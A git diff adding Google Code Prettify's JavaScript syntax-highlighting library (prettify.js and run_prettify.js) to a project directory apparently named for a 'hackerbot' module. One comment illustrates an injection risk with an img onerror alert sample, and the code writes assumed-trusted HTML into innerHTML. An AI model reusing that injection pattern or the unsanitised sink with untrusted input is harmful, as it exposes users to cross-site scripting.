+      if (!langHandlerRegistry.hasOwnProperty(ext)) {
+        langHandlerRegistry[ext] = handler;
+      } else if (win['console']) {
+        console['warn']('cannot override language handler %s', ext);
+      }
+    }
+  }
+  function langHandlerForExtension(extension, source) {
+    if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) {
+      // Treat it as markup if the first non whitespace character is a < and
+      // the last non-whitespace character is a >.
+      extension = /^\s*</.test(source)
+          ? 'default-markup'
+          : 'default-code';
+    }
+    return langHandlerRegistry[extension];
+  }
+  registerLangHandler(decorateSource, ['default-code']);
+  registerLangHandler(
+      createSimpleLexer(
+          [],
+          [
+           [PR_PLAIN,       /^[^<?]+/],
+           [PR_DECLARATION, /^<!\w[^>]*(?:>|$)/],
+           [PR_COMMENT,     /^<\!--[\s\S]*?(?:-\->|$)/],
+           // Unescaped content in an unknown language
+           ['lang-',        /^<\?([\s\S]+?)(?:\?>|$)/],
+           ['lang-',        /^<%([\s\S]+?)(?:%>|$)/],
+           [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/],
+           ['lang-',        /^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i],
+           // Unescaped content in javascript.  (Or possibly vbscript).
+           ['lang-js',      /^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i],
+           // Contains unescaped stylesheet content
+           ['lang-css',     /^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i],
+           ['lang-in.tag',  /^(<\/?[a-z][^<>]*>)/i]
+          ]),
+      ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']);
+  registerLangHandler(
+      createSimpleLexer(
+          [
+           [PR_PLAIN,        /^[\s]+/, null, ' \t\r\n'],
+           [PR_ATTRIB_VALUE, /^(?:\"[^\"]*\"?|\'[^\']*\'?)/, null, '\"\'']
+           ],
+          [
+           [PR_TAG,          /^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],
+           [PR_ATTRIB_NAME,  /^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],
+           ['lang-uq.val',   /^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/],
+           [PR_PUNCTUATION,  /^[=<>\/]+/],
+           ['lang-js',       /^on\w+\s*=\s*\"([^\"]+)\"/i],
+           ['lang-js',       /^on\w+\s*=\s*\'([^\']+)\'/i],
+           ['lang-js',       /^on\w+\s*=\s*([^\"\'>\s]+)/i],
+           ['lang-css',      /^style\s*=\s*\"([^\"]+)\"/i],
+           ['lang-css',      /^style\s*=\s*\'([^\']+)\'/i],
+           ['lang-css',      /^style\s*=\s*([^\"\'>\s]+)/i]
+           ]),
+      ['in.tag']);
+  registerLangHandler(
+      createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\s\S]+/]]), ['uq.val']);
+  registerLangHandler(sourceDecorator({
+          'keywords': CPP_KEYWORDS,
+          'hashComments': true,
+          'cStyleComments': true,
+          'types': C_TYPES
+        }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']);
+  registerLangHandler(sourceDecorator({
+          'keywords': 'null,true,false'
+        }), ['json']);
+  registerLangHandler(sourceDecorator({
+          'keywords': CSHARP_KEYWORDS,
+          'hashComments': true,
+          'cStyleComments': true,
+          'verbatimStrings': true,
+          'types': C_TYPES
+        }), ['cs']);
+  registerLangHandler(sourceDecorator({
+          'keywords': JAVA_KEYWORDS,
+          'cStyleComments': true
+        }), ['java']);
+  registerLangHandler(sourceDecorator({
+          'keywords': SH_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true
+        }), ['bash', 'bsh', 'csh', 'sh']);
+  registerLangHandler(sourceDecorator({
+          'keywords': PYTHON_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true,
+          'tripleQuotedStrings': true
+        }), ['cv', 'py', 'python']);
+  registerLangHandler(sourceDecorator({
+          'keywords': PERL_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true,
+          'regexLiterals': 2  // multiline regex literals
+        }), ['perl', 'pl', 'pm']);
+  registerLangHandler(sourceDecorator({
+          'keywords': RUBY_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true,
+          'regexLiterals': true
+        }), ['rb', 'ruby']);
+  registerLangHandler(sourceDecorator({
+          'keywords': JSCRIPT_KEYWORDS,
+          'cStyleComments': true,
+          'regexLiterals': true
+        }), ['javascript', 'js', 'ts', 'typescript']);
+  registerLangHandler(sourceDecorator({
+          'keywords': COFFEE_KEYWORDS,
+          'hashComments': 3,  // ### style block comments
+          'cStyleComments': true,
+          'multilineStrings': true,
+          'tripleQuotedStrings': true,
+          'regexLiterals': true
+        }), ['coffee']);
+  registerLangHandler(
+      createSimpleLexer([], [[PR_STRING, /^[\s\S]+/]]), ['regex']);
+
+  /** @param {JobT} job */
+  function applyDecorator(job) {
+    var opt_langExtension = job.langExtension;
+
+    try {
+      // Extract tags, and convert the source code to plain text.
+      var sourceAndSpans = extractSourceSpans(job.sourceNode, job.pre);
+      /** Plain text. @type {string} */
+      var source = sourceAndSpans.sourceCode;
+      job.sourceCode = source;
+      job.spans = sourceAndSpans.spans;
+      job.basePos = 0;
+
+      // Apply the appropriate language handler
+      langHandlerForExtension(opt_langExtension, source)(job);
+
+      // Integrate the decorations and tags back into the source code,
+      // modifying the sourceNode in place.
+      recombineTagsAndDecorations(job);
+    } catch (e) {
+      if (win['console']) {
+        console['log'](e && e['stack'] || e);
+      }
+    }
+  }
+
+  /**
+   * Pretty print a chunk of code.
+   * @param sourceCodeHtml {string} The HTML to pretty print.
+   * @param opt_langExtension {string} The language name to use.
+   *     Typically, a filename extension like 'cpp' or 'java'.
+   * @param opt_numberLines {number|boolean} True to number lines,
+   *     or the 1-indexed number of the first line in sourceCodeHtml.
+   */
+  function $prettyPrintOne(sourceCodeHtml, opt_langExtension, opt_numberLines) {
+    /** @type{number|boolean} */
+    var nl = opt_numberLines || false;
+    /** @type{string|null} */
+    var langExtension = opt_langExtension || null;
+    /** @type{!Element} */
+    var container = document.createElement('div');
+    // This could cause images to load and onload listeners to fire.
+    // E.g. <img onerror="alert(1337)" src="nosuchimage.png">.
+    // We assume that the inner HTML is from a trusted source.
+    // The pre-tag is required for IE8 which strips newlines from innerHTML
+    // when it is injected into a <pre> tag.
+    // http://stackoverflow.com/questions/451486/pre-tag-loses-line-breaks-when-setting-innerhtml-in-ie
+    // http://stackoverflow.com/questions/195363/inserting-a-newline-into-a-pre-tag-ie-javascript
+    container.innerHTML = '<pre>' + sourceCodeHtml + '</pre>';
+    container = /** @type{!Element} */(container.firstChild);
+    if (nl) {
+      numberLines(container, nl, true);
+    }
+
+    /** @type{JobT} */
+    var job = {
+      langExtension: langExtension,
+      numberLines: nl,
+      sourceNode: container,
+      pre: 1,
+      sourceCode: null,
+      basePos: null,
+      spans: null,
+      decorations: null
+    };
+    applyDecorator(job);
+    return container.innerHTML;
+  }
+
+   /**
+    * Find all the {@code <pre>} and {@code <code>} tags in the DOM with
+    * {@code class=prettyprint} and prettify them.
+    *
+    * @param {Function} opt_whenDone called when prettifying is done.
+    * @param {HTMLElement|HTMLDocument} opt_root an element or document
+    *   containing all the elements to pretty print.
+    *   Defaults to {@code document.body}.
+    */
+  function $prettyPrint(opt_whenDone, opt_root) {
+    var root = opt_root || document.body;
+    var doc = root.ownerDocument || document;
+    function byTagName(tn) { return root.getElementsByTagName(tn); }
+    // fetch a list of nodes to rewrite
+    var codeSegments = [byTagName('pre'), byTagName('code'), byTagName('xmp')];
+    var elements = [];
+    for (var i = 0; i < codeSegments.length; ++i) {
+      for (var j = 0, n = codeSegments[i].length; j < n; ++j) {
+        elements.push(codeSegments[i][j]);
+      }
+    }
+    codeSegments = null;
+
+    var clock = Date;
+    if (!clock['now']) {
+      clock = { 'now': function () { return +(new Date); } };
+    }
+
+    // The loop is broken into a series of continuations to make sure that we
+    // don't make the browser unresponsive when rewriting a large page.
+    var k = 0;
+
+    var langExtensionRe = /\blang(?:uage)?-([\w.]+)(?!\S)/;
+    var prettyPrintRe = /\bprettyprint\b/;
+    var prettyPrintedRe = /\bprettyprinted\b/;
+    var preformattedTagNameRe = /pre|xmp/i;
+    var codeRe = /^code$/i;
+    var preCodeXmpRe = /^(?:pre|code|xmp)$/i;
+    var EMPTY = {};
+
+    function doWork() {
+      var endTime = (win['PR_SHOULD_USE_CONTINUATION'] ?
+                     clock['now']() + 250 /* ms */ :
+                     Infinity);
+      for (; k < elements.length && clock['now']() < endTime; k++) {
+        var cs = elements[k];
+
+        // Look for a preceding comment like
+        // <?prettify lang="..." linenums="..."?>
+        var attrs = EMPTY;
+        {
+          for (var preceder = cs; (preceder = preceder.previousSibling);) {
+            var nt = preceder.nodeType;
+            // <?foo?> is parsed by HTML 5 to a comment node (8)
+            // like <!--?foo?-->, but in XML is a processing instruction
+            var value = (nt === 7 || nt === 8) && preceder.nodeValue;
+            if (value
+                ? !/^\??prettify\b/.test(value)
+                : (nt !== 3 || /\S/.test(preceder.nodeValue))) {
+              // Skip over white-space text nodes but not others.
+              break;
+            }
+            if (value) {
+              attrs = {};
+              value.replace(
+                  /\b(\w+)=([\w:.%+-]+)/g,
+                function (_, name, value) { attrs[name] = value; });
+              break;
+            }
+          }
+        }
+
+        var className = cs.className;
+        if ((attrs !== EMPTY || prettyPrintRe.test(className))
+            // Don't redo this if we've already done it.
+            // This allows recalling pretty print to just prettyprint elements
+            // that have been added to the page since last call.
+            && !prettyPrintedRe.test(className)) {
+
+          // make sure this is not nested in an already prettified element
+          var nested = false;
+          for (var p = cs.parentNode; p; p = p.parentNode) {
+            var tn = p.tagName;
+            if (preCodeXmpRe.test(tn)
+                && p.className && prettyPrintRe.test(p.className)) {
+              nested = true;
+              break;
+            }
+          }
+          if (!nested) {
+            // Mark done.  If we fail to prettyprint for whatever reason,
+            // we shouldn't try again.
+            cs.className += ' prettyprinted';
+
+            // If the classes includes a language extensions, use it.
+            // Language extensions can be specified like
+            //     <pre class="prettyprint lang-cpp">
+            // the language extension "cpp" is used to find a language handler
+            // as passed to PR.registerLangHandler.
+            // HTML5 recommends that a language be specified using "language-"
+            // as the prefix instead.  Google Code Prettify supports both.
+            // http://dev.w3.org/html5/spec-author-view/the-code-element.html
+            var langExtension = attrs['lang'];
+            if (!langExtension) {
+              langExtension = className.match(langExtensionRe);
+              // Support <pre class="prettyprint"><code class="language-c">
+              var wrapper;
+              if (!langExtension && (wrapper = childContentWrapper(cs))
+                  && codeRe.test(wrapper.tagName)) {
+                langExtension = wrapper.className.match(langExtensionRe);
+              }
+
+              if (langExtension) { langExtension = langExtension[1]; }
+            }
+
+            var preformatted;
+            if (preformattedTagNameRe.test(cs.tagName)) {
+              preformatted = 1;
+            } else {
+              var currentStyle = cs['currentStyle'];
+              var defaultView = doc.defaultView;
+              var whitespace = (
+                  currentStyle
+                  ? currentStyle['whiteSpace']
+                  : (defaultView
+                     && defaultView.getComputedStyle)
+                  ? defaultView.getComputedStyle(cs, null)
+                  .getPropertyValue('white-space')
+                  : 0);
+              preformatted = whitespace
+                  && 'pre' === whitespace.substring(0, 3);
+            }
+
+            // Look for a class like linenums or linenums:<n> where <n> is the
+            // 1-indexed number of the first line.
+            var lineNums = attrs['linenums'];
+            if (!(lineNums = lineNums === 'true' || +lineNums)) {
+              lineNums = className.match(/\blinenums\b(?::(\d+))?/);
+              lineNums =
+                lineNums
+                ? lineNums[1] && lineNums[1].length
+                  ? +lineNums[1] : true
+                : false;
+            }
+            if (lineNums) { numberLines(cs, lineNums, preformatted); }
+
+            // do the pretty printing
+            var prettyPrintingJob = {
+              langExtension: langExtension,
+              sourceNode: cs,
+              numberLines: lineNums,
+              pre: preformatted,
+              sourceCode: null,
+              basePos: null,
+              spans: null,
+              decorations: null
+            };
+            applyDecorator(prettyPrintingJob);
+          }
+        }
+      }
+      if (k < elements.length) {
+        // finish up in a continuation
+        win.setTimeout(doWork, 250);
+      } else if ('function' === typeof opt_whenDone) {
+        opt_whenDone();
+      }
+    }
+
+    doWork();
+  }
+
+  /**
+   * Contains functions for creating and registering new language handlers.
+   * @type {Object}
+   */
+  var PR = win['PR'] = {
+        'createSimpleLexer': createSimpleLexer,
+        'registerLangHandler': registerLangHandler,
+        'sourceDecorator': sourceDecorator,
+        'PR_ATTRIB_NAME': PR_ATTRIB_NAME,
+        'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE,
+        'PR_COMMENT': PR_COMMENT,
+        'PR_DECLARATION': PR_DECLARATION,
+        'PR_KEYWORD': PR_KEYWORD,
+        'PR_LITERAL': PR_LITERAL,
+        'PR_NOCODE': PR_NOCODE,
+        'PR_PLAIN': PR_PLAIN,
+        'PR_PUNCTUATION': PR_PUNCTUATION,
+        'PR_SOURCE': PR_SOURCE,
+        'PR_STRING': PR_STRING,
+        'PR_TAG': PR_TAG,
+        'PR_TYPE': PR_TYPE,
+        'prettyPrintOne':
+           IN_GLOBAL_SCOPE
+             ? (win['prettyPrintOne'] = $prettyPrintOne)
+             : (prettyPrintOne = $prettyPrintOne),
+        'prettyPrint': prettyPrint =
+           IN_GLOBAL_SCOPE
+             ? (win['prettyPrint'] = $prettyPrint)
+             : (prettyPrint = $prettyPrint)
+      };
+
+  // Make PR available via the Asynchronous Module Definition (AMD) API.
+  // Per https://github.com/amdjs/amdjs-api/wiki/AMD:
+  // The Asynchronous Module Definition (AMD) API specifies a
+  // mechanism for defining modules such that the module and its
+  // dependencies can be asynchronously loaded.
+  // ...
+  // To allow a clear indicator that a global define function (as
+  // needed for script src browser loading) conforms to the AMD API,
+  // any global define function SHOULD have a property called "amd"
+  // whose value is an object. This helps avoid conflict with any
+  // other existing JavaScript code that could have defined a define()
+  // function that does not conform to the AMD API.
+  var define = win['define'];
+  if (typeof define === "function" && define['amd']) {
+    define("google-code-prettify", [], function () {
+      return PR;
+    });
+  }
+})();
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/run_prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/run_prettify.js
new file mode 100644
index 000000000..7809a8f0a
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/run_prettify.js
@@ -0,0 +1,1998 @@
+/**
+ * @license
+ * Copyright (C) 2013 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * <div style="white-space: pre">
+ * Looks at query parameters to decide which language handlers and style-sheets
+ * to load.
+ *
+ * Query Parameter     Format           Effect                        Default
+ * +------------------+---------------+------------------------------+--------+
+ * | autorun=         | true | false  | If true then prettyPrint()   | "true" |
+ * |                  |               | is called on page load.      |        |
+ * +------------------+---------------+------------------------------+--------+
+ * | lang=            | language name | Loads the language handler   | Can    |
+ * |                  |               | named "lang-<NAME>.js".      | appear |
+ * |                  |               | See available handlers at    | many   |
+ * |                  |               | https://github.com/google/   | times. |
+ * |                  |               | code-prettify/tree/master/   |        |
+ * |                  |               | src                          |        |
+ * +------------------+---------------+------------------------------+--------+
+ * | skin=            | skin name     | Loads the skin stylesheet    | none.  |
+ * |                  |               | named "<NAME>.css".          |        |
+ * |                  |               | https://cdn.rawgit.com/      |        |
+ * |                  |               | google/code-prettify/master/ |        |
+ * |                  |               | styles/index.html            |        |
+ * +------------------+---------------+------------------------------+--------+
+ * | callback=        | JS identifier | When "prettyPrint" finishes  | none   |
+ * |                  |               | window.exports[js_ident] is  |        |
+ * |                  |               | called.                      |        |
+ * |                  |               | The callback must be under   |        |
+ * |                  |               | exports to reduce the risk   |        |
+ * |                  |               | of XSS via query parameter   |        |
+ * |                  |               | injection.                   |        |
+ * +------------------+---------------+------------------------------+--------+
+ *
+ * Exmaples
+ * .../run_prettify.js?lang=css&skin=sunburst
+ *   1. Loads the CSS language handler which can be used to prettify CSS
+ *      stylesheets, HTML <style> element bodies and style="..." attributes
+ *      values.
+ *   2. Loads the sunburst.css stylesheet instead of the default prettify.css
+ *      stylesheet.
+ *      A gallery of stylesheets is available at
+ *      https://cdn.rawgit.com/google/code-prettify/master/styles/index.html
+ *   3. Since autorun=false is not specified, calls prettyPrint() on page load.
+ * </div>
+ */
+
+/**
+* @typedef {!Array.<number|string>}
+* Alternating indices and the decorations that should be inserted there.
+* The indices are monotonically increasing.
+*/
+var DecorationsT;
+
+/**
+* @typedef {!{
+*   sourceNode: !Element,
+*   pre: !(number|boolean),
+*   langExtension: ?string,
+*   numberLines: ?(number|boolean),
+*   sourceCode: ?string,
+*   spans: ?(Array.<number|Node>),
+*   basePos: ?number,
+*   decorations: ?DecorationsT
+* }}
+* <dl>
+*  <dt>sourceNode<dd>the element containing the source
+*  <dt>sourceCode<dd>source as plain text
+*  <dt>pre<dd>truthy if white-space in text nodes
+*     should be considered significant.
+*  <dt>spans<dd> alternating span start indices into source
+*     and the text node or element (e.g. {@code <BR>}) corresponding to that
+*     span.
+*  <dt>decorations<dd>an array of style classes preceded
+*     by the position at which they start in job.sourceCode in order
+*  <dt>basePos<dd>integer position of this.sourceCode in the larger chunk of
+*     source.
+* </dl>
+*/
+var JobT;
+
+/**
+* @typedef {!{
+*   sourceCode: string,
+*   spans: !(Array.<number|Node>)
+* }}
+* <dl>
+*  <dt>sourceCode<dd>source as plain text
+*  <dt>spans<dd> alternating span start indices into source
+*     and the text node or element (e.g. {@code <BR>}) corresponding to that
+*     span.
+* </dl>
+*/
+var SourceSpansT;
+
+/** @define {boolean} */
+var IN_GLOBAL_SCOPE = false;
+
+(function () {
+  "use strict";
+
+  var win = window;
+  var doc = document;
+  var root = doc.documentElement;
+  var head = doc['head'] || doc.getElementsByTagName("head")[0] || root;
+
+  // From http://javascript.nwbox.com/ContentLoaded/contentloaded.js
+  // Author: Diego Perini (diego.perini at gmail.com)
+  // Summary: cross-browser wrapper for DOMContentLoaded
+  // Updated: 20101020
+  // License: MIT
+  // Version: 1.2
+  function contentLoaded(callback) {
+    var addEventListener = doc['addEventListener'];
+    var done = false, top = true,
+        add = addEventListener ? 'addEventListener' : 'attachEvent',
+        rem = addEventListener ? 'removeEventListener' : 'detachEvent',
+        pre = addEventListener ? '' : 'on',
+
+        init = function(e) {
+          if (e.type == 'readystatechange' && doc.readyState != 'complete') {
+            return;
+          }
+          (e.type == 'load' ? win : doc)[rem](pre + e.type, init, false);
+          if (!done && (done = true)) { callback.call(win, e.type || e); }
+        },
+
+        poll = function() {
+          try {
+            root.doScroll('left');
+          } catch(e) {
+            win.setTimeout(poll, 50);
+            return;
+          }
+          init('poll');
+        };
+
+    if (doc.readyState == 'complete') {
+      callback.call(win, 'lazy');
+    } else {
+      if (doc.createEventObject && root.doScroll) {
+        try { top = !win.frameElement; } catch(e) { }
+        if (top) { poll(); }
+      }
+      doc[add](pre + 'DOMContentLoaded', init, false);
+      doc[add](pre + 'readystatechange', init, false);
+      win[add](pre + 'load', init, false);
+    }
+  }
+
+  // Given a list of URLs to stylesheets, loads the first that loads without
+  // triggering an error event.
+  function loadStylesheetsFallingBack(stylesheets) {
+    var n = stylesheets.length;
+    function load(i) {
+      if (i === n) { return; }
+      var link = doc.createElement('link');
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      if (i + 1 < n) {
+        // http://pieisgood.org/test/script-link-events/ indicates that many
+        // versions of IE do not support onerror on <link>s, though
+        // http://msdn.microsoft.com/en-us/library/ie/ms535848(v=vs.85).aspx
+        // indicates that recent IEs do support error.
+        link.error = link.onerror = function () { load(i + 1); };
+      }
+      link.href = stylesheets[i];
+      head.appendChild(link);
+    }
+    load(0);
+  }
+
+  var scriptQuery = '';
+  // Look for the <script> node that loads this script to get its parameters.
+  // This starts looking at the end instead of just considering the last
+  // because deferred and async scripts run out of order.
+  // If the script is loaded twice, then this will run in reverse order.
+  var scripts = doc.getElementsByTagName('script');
+  for (var i = scripts.length; --i >= 0;) {
+    var script = scripts[i];
+    var match = script.src.match(
+        /^[^?#]*\/run_prettify\.js(\?[^#]*)?(?:#.*)?$/);
+    if (match) {
+      scriptQuery = match[1] || '';
+      // Remove the script from the DOM so that multiple runs at least run
+      // multiple times even if parameter sets are interpreted in reverse
+      // order.
+      script.parentNode.removeChild(script);
+      break;
+    }
+  }
+
+  // Pull parameters into local variables.
+  var autorun = true;
+  var langs = [];
+  var skins = [];
+  var callbacks = [];
+  scriptQuery.replace(
+      /[?&]([^&=]+)=([^&]+)/g,
+      function (_, name, value) {
+        value = decodeURIComponent(value);
+        name = decodeURIComponent(name);
+        if (name == 'autorun')   { autorun = !/^[0fn]/i.test(value); } else
+        if (name == 'lang')      { langs.push(value);                } else
+        if (name == 'skin')      { skins.push(value);                } else
+        if (name == 'callback')  { callbacks.push(value);            }
+      });
+
+  // Use https to avoid mixed content warnings in client pages and to
+  // prevent a MITM from rewrite prettify mid-flight.
+  // This only works if this script is loaded via https : something
+  // over which we exercise no control.
+  var LOADER_BASE_URL =
+     'https://cdn.rawgit.com/google/code-prettify/master/loader';
+
+  for (var i = 0, n = langs.length; i < n; ++i) (function (lang) {
+    var script = doc.createElement("script");
+
+    // Excerpted from jQuery.ajaxTransport("script") to fire events when
+    // a script is finished loading.
+    // Attach handlers for each script
+    script.onload = script.onerror = script.onreadystatechange = function () {
+      if (script && (
+            !script.readyState || /loaded|complete/.test(script.readyState))) {
+        // Handle memory leak in IE
+        script.onerror = script.onload = script.onreadystatechange = null;
+
+        --pendingLanguages;
+        checkPendingLanguages();
+
+        // Remove the script
+        if (script.parentNode) {
+          script.parentNode.removeChild(script);
+        }
+
+        script = null;
+      }
+    };
+
+    script.type = 'text/javascript';
+    script.src = LOADER_BASE_URL
+      + '/lang-' + encodeURIComponent(langs[i]) + '.js';
+
+    // Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending
+    head.insertBefore(script, head.firstChild);
+  })(langs[i]);
+
+  var pendingLanguages = langs.length;
+  function checkPendingLanguages() {
+    if (!pendingLanguages) {
+      win.setTimeout(onLangsLoaded, 0);
+    }
+  }
+
+  var skinUrls = [];
+  for (var i = 0, n = skins.length; i < n; ++i) {
+    skinUrls.push(LOADER_BASE_URL
+        + '/skins/' + encodeURIComponent(skins[i]) + '.css');
+  }
+  skinUrls.push(LOADER_BASE_URL + '/prettify.css');
+  loadStylesheetsFallingBack(skinUrls);
+
+  var prettyPrint = (function () {
+    /**
+     * @license
+     * Copyright (C) 2006 Google Inc.
+     *
+     * Licensed under the Apache License, Version 2.0 (the "License");
+     * you may not use this file except in compliance with the License.
+     * You may obtain a copy of the License at
+     *
+     *      http://www.apache.org/licenses/LICENSE-2.0
+     *
+     * Unless required by applicable law or agreed to in writing, software
+     * distributed under the License is distributed on an "AS IS" BASIS,
+     * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     * See the License for the specific language governing permissions and
+     * limitations under the License.
+     */
+    
+    /**
+     * @fileoverview
+     * some functions for browser-side pretty printing of code contained in html.
+     *
+     * <p>
+     * For a fairly comprehensive set of languages see the
+     * <a href="https://github.com/google/code-prettify#for-which-languages-does-it-work">README</a>
+     * file that came with this source.  At a minimum, the lexer should work on a
+     * number of languages including C and friends, Java, Python, Bash, SQL, HTML,
+     * XML, CSS, Javascript, and Makefiles.  It works passably on Ruby, PHP and Awk
+     * and a subset of Perl, but, because of commenting conventions, doesn't work on
+     * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class.
+     * <p>
+     * Usage: <ol>
+     * <li> include this source file in an html page via
+     *   {@code <script type="text/javascript" src="/path/to/prettify.js"></script>}
+     * <li> define style rules.  See the example page for examples.
+     * <li> mark the {@code <pre>} and {@code <code>} tags in your source with
+     *    {@code class=prettyprint.}
+     *    You can also use the (html deprecated) {@code <xmp>} tag, but the pretty
+     *    printer needs to do more substantial DOM manipulations to support that, so
+     *    some css styles may not be preserved.
+     * </ol>
+     * That's it.  I wanted to keep the API as simple as possible, so there's no
+     * need to specify which language the code is in, but if you wish, you can add
+     * another class to the {@code <pre>} or {@code <code>} element to specify the
+     * language, as in {@code <pre class="prettyprint lang-java">}.  Any class that
+     * starts with "lang-" followed by a file extension, specifies the file type.
+     * See the "lang-*.js" files in this directory for code that implements
+     * per-language file handlers.
+     * <p>
+     * Change log:<br>
+     * cbeust, 2006/08/22
+     * <blockquote>
+     *   Java annotations (start with "@") are now captured as literals ("lit")
+     * </blockquote>
+     * @requires console
+     */
+    
+    // JSLint declarations
+    /*global console, document, navigator, setTimeout, window, define */
+    
+    
+    var HACK_TO_FIX_JS_INCLUDE_PL;
+    
+    /**
+     * {@type !{
+     *   'createSimpleLexer': function (Array, Array): (function (JobT)),
+     *   'registerLangHandler': function (function (JobT), Array.<string>),
+     *   'PR_ATTRIB_NAME': string,
+     *   'PR_ATTRIB_NAME': string,
+     *   'PR_ATTRIB_VALUE': string,
+     *   'PR_COMMENT': string,
+     *   'PR_DECLARATION': string,
+     *   'PR_KEYWORD': string,
+     *   'PR_LITERAL': string,
+     *   'PR_NOCODE': string,
+     *   'PR_PLAIN': string,
+     *   'PR_PUNCTUATION': string,
+     *   'PR_SOURCE': string,
+     *   'PR_STRING': string,
+     *   'PR_TAG': string,
+     *   'PR_TYPE': string,
+     *   'prettyPrintOne': function (string, string, number|boolean),
+     *   'prettyPrint': function (?function, ?(HTMLElement|HTMLDocument))
+     * }}
+     * @const
+     */
+    var PR;
+    
+    /**
+     * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
+     * UI events.
+     * If set to {@code false}, {@code prettyPrint()} is synchronous.
+     */
+    window['PR_SHOULD_USE_CONTINUATION'] = true;
+    
+    /**
+     * Pretty print a chunk of code.
+     * @param {string} sourceCodeHtml The HTML to pretty print.
+     * @param {string} opt_langExtension The language name to use.
+     *     Typically, a filename extension like 'cpp' or 'java'.
+     * @param {number|boolean} opt_numberLines True to number lines,
+     *     or the 1-indexed number of the first line in sourceCodeHtml.
+     * @return {string} code as html, but prettier
+     */
+    var prettyPrintOne;
+    /**
+     * Find all the {@code <pre>} and {@code <code>} tags in the DOM with
+     * {@code class=prettyprint} and prettify them.
+     *
+     * @param {Function} opt_whenDone called when prettifying is done.
+     * @param {HTMLElement|HTMLDocument} opt_root an element or document
+     *   containing all the elements to pretty print.
+     *   Defaults to {@code document.body}.
+     */
+    var prettyPrint;
+    
+    
+    (function () {
+      var win = window;
+      // Keyword lists for various languages.
+      // We use things that coerce to strings to make them compact when minified
+      // and to defeat aggressive optimizers that fold large string constants.
+      var FLOW_CONTROL_KEYWORDS = ["break,continue,do,else,for,if,return,while"];
+      var C_KEYWORDS = [FLOW_CONTROL_KEYWORDS,"auto,case,char,const,default," +
+          "double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed," +
+          "sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"];
+      var COMMON_KEYWORDS = [C_KEYWORDS,"catch,class,delete,false,import," +
+          "new,operator,private,protected,public,this,throw,true,try,typeof"];
+      var CPP_KEYWORDS = [COMMON_KEYWORDS,"alignas,alignof,align_union,asm,axiom,bool," +
+          "concept,concept_map,const_cast,constexpr,decltype,delegate," +
+          "dynamic_cast,explicit,export,friend,generic,late_check," +
+          "mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert," +
+          "static_cast,template,typeid,typename,using,virtual,where"];
+      var JAVA_KEYWORDS = [COMMON_KEYWORDS,
+          "abstract,assert,boolean,byte,extends,finally,final,implements,import," +
+          "instanceof,interface,null,native,package,strictfp,super,synchronized," +
+          "throws,transient"];
+      var CSHARP_KEYWORDS = [COMMON_KEYWORDS,
+          "abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending," +
+          "dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface," +
+          "internal,into,is,join,let,lock,null,object,out,override,orderby,params," +
+          "partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong," +
+          "unchecked,unsafe,ushort,value,var,virtual,where,yield"];
+      var COFFEE_KEYWORDS = "all,and,by,catch,class,else,extends,false,finally," +
+          "for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then," +
+          "throw,true,try,unless,until,when,while,yes";
+      var JSCRIPT_KEYWORDS = [COMMON_KEYWORDS,
+          "abstract,async,await,constructor,debugger,enum,eval,export,function," +
+          "get,implements,instanceof,interface,let,null,set,undefined,var,with," +
+          "yield,Infinity,NaN"];
+      var PERL_KEYWORDS = "caller,delete,die,do,dump,elsif,eval,exit,foreach,for," +
+          "goto,if,import,last,local,my,next,no,our,print,package,redo,require," +
+          "sub,undef,unless,until,use,wantarray,while,BEGIN,END";
+      var PYTHON_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "and,as,assert,class,def,del," +
+          "elif,except,exec,finally,from,global,import,in,is,lambda," +
+          "nonlocal,not,or,pass,print,raise,try,with,yield," +
+          "False,True,None"];
+      var RUBY_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "alias,and,begin,case,class," +
+          "def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo," +
+          "rescue,retry,self,super,then,true,undef,unless,until,when,yield," +
+          "BEGIN,END"];
+      var SH_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "case,done,elif,esac,eval,fi," +
+          "function,in,local,set,then,until"];
+      var ALL_KEYWORDS = [
+          CPP_KEYWORDS, CSHARP_KEYWORDS, JAVA_KEYWORDS, JSCRIPT_KEYWORDS,
